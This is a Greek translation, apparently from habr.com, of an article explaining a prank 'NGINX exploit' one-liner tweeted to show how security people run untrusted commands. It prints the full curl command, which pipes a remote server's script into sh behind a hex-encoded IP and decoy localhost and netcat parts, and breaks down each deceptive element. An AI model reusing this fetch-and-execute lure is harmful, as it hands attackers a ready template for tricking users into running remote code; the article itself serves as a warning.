Σημείωση. μετάφρ.:
TL;DR: Μην χρησιμοποιείτε τη διοχέτευση αρχείων σε sh ή bash σε καμία περίπτωση. Αυτός είναι ένας πολύ καλός τρόπος για να χάσετε τον έλεγχο του υπολογιστή σας.
Θέλω να μοιραστώ μαζί σας μια σύντομη ιστορία για ένα κόμικ PoC exploit που δημιουργήθηκε στις 31 Μαΐου. Εμφανίστηκε αμέσως ως απάντηση σε νέα από
Έχοντας ολοκληρώσει την εργασία σε μια νέα τεχνική συσκότισης στο curl, παρέθεσα το αρχικό tweet και «διέρρευσα ένα λειτουργικό PoC» που αποτελείται από μια ενιαία γραμμή κώδικα που υποτίθεται ότι εκμεταλλεύεται την ευπάθεια που ανακαλύφθηκε. Φυσικά, αυτό ήταν πλήρης ανοησία. Υπέθεσα ότι θα εκτίθηκα αμέσως, και ότι στην καλύτερη περίπτωση θα έπαιρνα δυο retweets (ωχ καλά).
Ωστόσο, δεν μπορούσα να φανταστώ τι συνέβη στη συνέχεια. Η δημοτικότητα του tweet μου εκτοξεύτηκε στα ύψη. Παραδόξως, αυτή τη στιγμή (15:00 ώρα Μόσχας, 1 Ιουνίου) λίγοι άνθρωποι έχουν συνειδητοποιήσει ότι πρόκειται για ψεύτικο. Πολλοί άνθρωποι το κάνουν retweet χωρίς να το ελέγχουν καθόλου (πόσο μάλλον να θαυμάζουν τα υπέροχα γραφικά ASCII που βγάζει).
Δείτε μόνο πόσο όμορφο είναι!
Αν και όλοι αυτοί οι βρόχοι και τα χρώματα είναι υπέροχα, είναι σαφές ότι οι άνθρωποι έπρεπε να εκτελέσουν κώδικα στον υπολογιστή τους για να τα δουν. Ευτυχώς, τα προγράμματα περιήγησης λειτουργούν με τον ίδιο τρόπο και σε συνδυασμό με το γεγονός ότι δεν ήθελα πραγματικά να μπω σε νομικά προβλήματα, ο κώδικας που ήταν θαμμένος στον ιστότοπό μου έκανε απλώς κλήσεις ηχούς χωρίς να προσπαθήσω να εγκαταστήσω ή να εκτελέσω πρόσθετο κώδικα.
Μικρή παρέκκλιση:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Η κοινωνικο-ηλεκτρονική μηχανική (SEE) είναι κάτι περισσότερο από απλό ψάρεμα
Η ασφάλεια και η εξοικείωση ήταν ένα σημαντικό μέρος αυτού του πειράματος. Νομίζω ότι είναι που οδήγησαν στην επιτυχία του. Η γραμμή εντολών υπονοούσε ξεκάθαρα ασφάλεια κάνοντας αναφορά στο "127.0.0.1" (το γνωστό localhost). Το Localhost θεωρείται ασφαλές και τα δεδομένα σε αυτό δεν φεύγουν ποτέ από τον υπολογιστή σας.
Η εξοικείωση ήταν το δεύτερο βασικό στοιχείο SEE του πειράματος. Δεδομένου ότι το κοινό-στόχος αποτελούνταν κυρίως από άτομα εξοικειωμένα με τις βασικές αρχές της ασφάλειας των υπολογιστών, ήταν σημαντικό να δημιουργηθεί κώδικας ώστε μέρη του να φαίνονται οικεία και οικεία (και επομένως ασφαλή). Ο δανεισμός στοιχείων παλιών εννοιών του exploit και ο συνδυασμός τους με ασυνήθιστο τρόπο έχει αποδειχθεί πολύ επιτυχημένος.
Παρακάτω είναι μια λεπτομερής ανάλυση του one-liner. Τα πάντα σε αυτή τη λίστα φορούν καλλυντική φύση, και πρακτικά δεν απαιτείται τίποτα για την πραγματική λειτουργία του.
Ποια εξαρτήματα είναι πραγματικά απαραίτητα; Αυτό -gsS
, -O 0x0238f06a
, |sh
και τον ίδιο τον web server. Ο διακομιστής web δεν περιείχε κακόβουλες οδηγίες, αλλά απλώς εξυπηρετούσε γραφικά ASCII χρησιμοποιώντας εντολές echo
στο σενάριο που περιέχεται στο index.html
. Όταν ο χρήστης εισήγαγε μια γραμμή με |sh
στη μέση, index.html
φορτώνεται και εκτελείται. Ευτυχώς, οι θεματοφύλακες του διακομιστή ιστού δεν είχαν κακές προθέσεις.
-
../../../%00
— αντιπροσωπεύει την υπέρβαση του καταλόγου. -
ngx_stream_module.so
— διαδρομή προς μια τυχαία μονάδα NGINX. -
/bin/sh%00<'protocol:TCP'
- λανσάρουμε υποτίθεται/bin/sh
στο μηχάνημα προορισμού και ανακατευθύνετε την έξοδο στο κανάλι TCP. -
-O 0x0238f06a#PLToffset
- μυστικό συστατικό, συμπληρωμένο#PLToffset
, για να μοιάζει με μια μετατόπιση μνήμης που περιέχεται κατά κάποιο τρόπο στο PLT. -
|sh;
- ένα άλλο σημαντικό κομμάτι. Χρειαζόταν να ανακατευθύνουμε την έξοδο στο sh/bash για να εκτελέσουμε τον κώδικα που προέρχεται από τον επιτιθέμενο διακομιστή ιστού που βρίσκεται στο0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- ένα ομοίωμα στο οποίο αναφέρεται το netcat/dev/tcp/localhost
ώστε όλα να φαίνονται ξανά ασφαλή. Στην πραγματικότητα, δεν κάνει τίποτα και περιλαμβάνεται στη σειρά για ομορφιά.
Αυτό ολοκληρώνει την αποκωδικοποίηση του σεναρίου μιας γραμμής και τη συζήτηση των πτυχών της «κοινωνικής-ηλεκτρονικής μηχανικής» (σύνθετο phishing).
Διαμόρφωση διακομιστή Web και αντίμετρα
Δεδομένου ότι η συντριπτική πλειονότητα των συνδρομητών μου είναι infosec/hackers, αποφάσισα να κάνω τον διακομιστή ιστού λίγο πιο ανθεκτικό στις εκφράσεις «ενδιαφέροντος» από μέρους τους, μόνο και μόνο για να έχουν κάτι να κάνουν τα παιδιά (και θα ήταν διασκεδαστικό να στήνω). Δεν πρόκειται να απαριθμήσω όλες τις παγίδες εδώ, καθώς το πείραμα είναι ακόμα σε εξέλιξη, αλλά εδώ είναι μερικά πράγματα που κάνει ο διακομιστής:
- Παρακολουθεί ενεργά τις προσπάθειες διανομής σε ορισμένα κοινωνικά δίκτυα και αντικαθιστά διάφορες μικρογραφίες προεπισκόπησης για να ενθαρρύνει τον χρήστη να κάνει κλικ στον σύνδεσμο.
- Ανακατευθύνει το Chrome/Mozilla/Safari/κτλ στο προωθητικό βίντεο του Thugcrowd αντί να εμφανίζει το σενάριο του κελύφους.
- Παρακολουθεί για προφανή σημάδια εισβολής/κατάφωρης εισβολής και, στη συνέχεια, αρχίζει να ανακατευθύνει αιτήματα στους διακομιστές της NSA (ha!).
- Εγκαθιστά έναν Trojan, καθώς και ένα rootkit BIOS, σε όλους τους υπολογιστές των οποίων οι χρήστες επισκέπτονται τον κεντρικό υπολογιστή από ένα κανονικό πρόγραμμα περιήγησης (πλάκα!).
Ένα μικρό μέρος αντιμερών
Σε αυτήν την περίπτωση, ο μόνος μου στόχος ήταν να κατακτήσω μερικά από τα χαρακτηριστικά του Apache - ιδιαίτερα, τους έξυπνους κανόνες για την ανακατεύθυνση αιτημάτων - και σκέφτηκα: γιατί όχι;
NGINX Exploit (πραγματικό!)
Εγγραφείτε στο
Πηγή: www.habr.com